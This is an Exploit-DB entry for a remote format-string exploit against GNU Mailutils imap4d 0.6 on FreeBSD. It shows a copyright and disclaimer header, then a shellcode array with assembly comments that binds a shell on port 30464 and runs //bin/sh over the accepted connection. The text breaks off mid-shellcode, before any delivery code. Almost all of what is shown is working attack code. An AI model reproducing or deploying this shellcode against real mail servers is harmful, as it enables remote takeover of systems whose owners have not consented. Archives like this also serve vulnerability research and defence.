Exploit-DB #1234
Description: GNU Mailutils imap4d 0.6 (FreeBSD) - 'Search' Remote Format String
Type: remote
Platform: bsd
Date: 2005-09-26
Author: Angelo Rosiello

Exploit:
/*
* Copyright (c) 2005 Rosiello Security
* http://www.rosiello.org
*
* Permission is granted for the redistribution of this software
* electronically. It may not be edited in any way without the express
* written consent of Rosiello Security.
*
* Disclaimer: The author published the information under the condition 
* that is not in the intention of the reader to use them in order to bring 
* to himself or others a profit or to bring to others damage.
*
* --------------------------------------------------------------------------
*
* GNU Mailutils 0.6 imap4d 'search' Format String Vulnerability
* iDEFENSE Security Advisory 09.09.05
* www.idefense.com/application/poi/display?id=303&type=vulnerabilities
*
* The GNU mailutils package is a collection of mail-related
* utilities, including local and remote mailbox access services.
* More information is available at the following site:
* http://www.gnu.org/software/mailutils/mailutils.html
*
* This exploit shows the possibility to run arbitrary code
* on FreeBSD machines.
*
* Authors: Johnny Mast and Angelo Rosiello
* e-mails: rave@rosiello.org angelo@rosiello.org
*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>


#define ISIP(m)   (!((int)inet_addr(m) ==-1))
#define clean(x)  memset(x, 0 , sizeof x)

char code[] =
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xc0"    /* xor %eax,%eax */
"\x31\xc0"    /* xor %eax,%eax */
"\x50"    /* push %eax */
"\x31\xc0"    /* xor %eax,%eax */
"\x50"    /* push %eax */
"\xb0\x7e"    /* mov $0x7e,%al */
"\x50"    /* push %eax */
"\xcd\x80"    /* int $0x80 */
"\x31\xc0"    /* xor %eax,%eax */

/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                   // xorl    %eax,%eax
"\x31\xdb"                   // xorl    %ebx,%ebx
"\x31\xc9"                   // xorl    %ecx,%ecx
"\x31\xd2"                   // xorl    %edx,%edx
"\xb0\x61"                   // movb    $0x61,%al
"\x51"                       // pushl   %ecx 
"\xb1\x06"                   // movb    $0x6,%cl
"\x51"                       // pushl   %ecx
"\xb1\x01"                   // movb    $0x1,%cl   
"\x51"                       // pushl   %ecx
"\xb1\x02"                   // movb    $0x2,%cl
"\x51"                       // pushl   %ecx
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\x51"                       // pushl   %ecx
"\xcd\x80"                   // int     $0x80

/* it binds on port 30464 */
/* bind(fd, (struct sockaddr*)&sin, sizeof(sin))  */
"\xb1\x02"                   // movb    $0x2,%cl
"\x31\xc9"                   // xorl    %ecx,%ecx
"\x51"                       // pushl   %ecx
"\x51"                       // pushl   %ecx 
"\x51"                       // pushl   %ecx

/* port = 0x77, change if needed */
"\x80\xc1\x77"               // addb    $0x77,%cl  
"\x66\x51"                   // pushw   %cx
"\xb5\x02"                   // movb    $0x2,%ch
"\x66\x51"                   // pushw   %cx 
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\xb2\x10"                   // movb    $0x10,%dl  
"\x52"                       // pushl   %edx
"\x51"                       // pushl   %ecx
"\x50"                       // pushl   %eax
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\x51"                       // pushl   %ecx 
"\x89\xc2"                   // movl    %eax,%edx
"\x31\xc0"                   // xorl    %eax,%eax
"\xb0\x68"                   // movb    $0x68,%al
"\xcd\x80"                   // int     $0x80

/* listen(fd, 1)*/
"\xb3\x01"                   // movb    $0x1,%bl 
"\x53"                       // pushl   %ebx
"\x52"                       // pushl   %edx
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\x51"                       // pushl   %ecx
"\x31\xc0"                   // xorl    %eax,%eax
"\xb0\x6a"                   // movb    $0x6a,%al
"\xcd\x80"                   // int     $0x80

/* cli = accept(fd, 0,0) */
"\x31\xc0"                   // xorl    %eax,%eax  
"\x50"                       // pushl   %eax
"\x50"                       // pushl   %eax
"\x52"                       // pushl   %edx
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\x51"                       // pushl   %ecx
"\x31\xc9"                   // xorl    %ecx,%ecx
"\xb0\x1e"                   // movb    $0x1e,%al   
"\xcd\x80"                   // int     $0x80

/* dup2(cli,0) */
"\x89\xc3"                   // movl    %eax,%ebx
"\x53"                       // pushl   %ebx
"\x51"                       // pushl   %ecx
"\x31\xc0"                   // xorl    %eax,%eax  
"\xb0\x5a"                   // movb    $0x5a,%al
"\xcd\x80"                   // int     $0x80

/* dup2(cli, 1) */
"\x41"                       // inc     %ecx
"\x53"                       // pushl   %ebx
"\x51"                       // pushl   %ecx
"\x31\xc0"                   // xorl    %eax,%eax
"\xb0\x5a"                   // movb    $0x5a,%al
"\xcd\x80"                   // int     $0x80

/* dup2(cli, 2) */
"\x41"                       // inc     %ecx
"\x53"                       // pushl   %ebx
"\x51"                       // pushl   %ecx 
"\x31\xc0"                   // xorl    %eax,%eax
"\xb0\x5a"                   // movb    $0x5a,%al
"\xcd\x80"                   // int     $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL) */
"\x31\xdb"                   // xorl    %ebx,%ebx  
"\x53"                       // pushl   %ebx
"\x68\x6e\x2f\x73\x68"       // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"       // pushl   $0x69622f2f
"\x89\xe3"                   // movl    %esp,%ebx
"\x31\xc0"                   // xorl    %eax,%eax
"\x50"                       //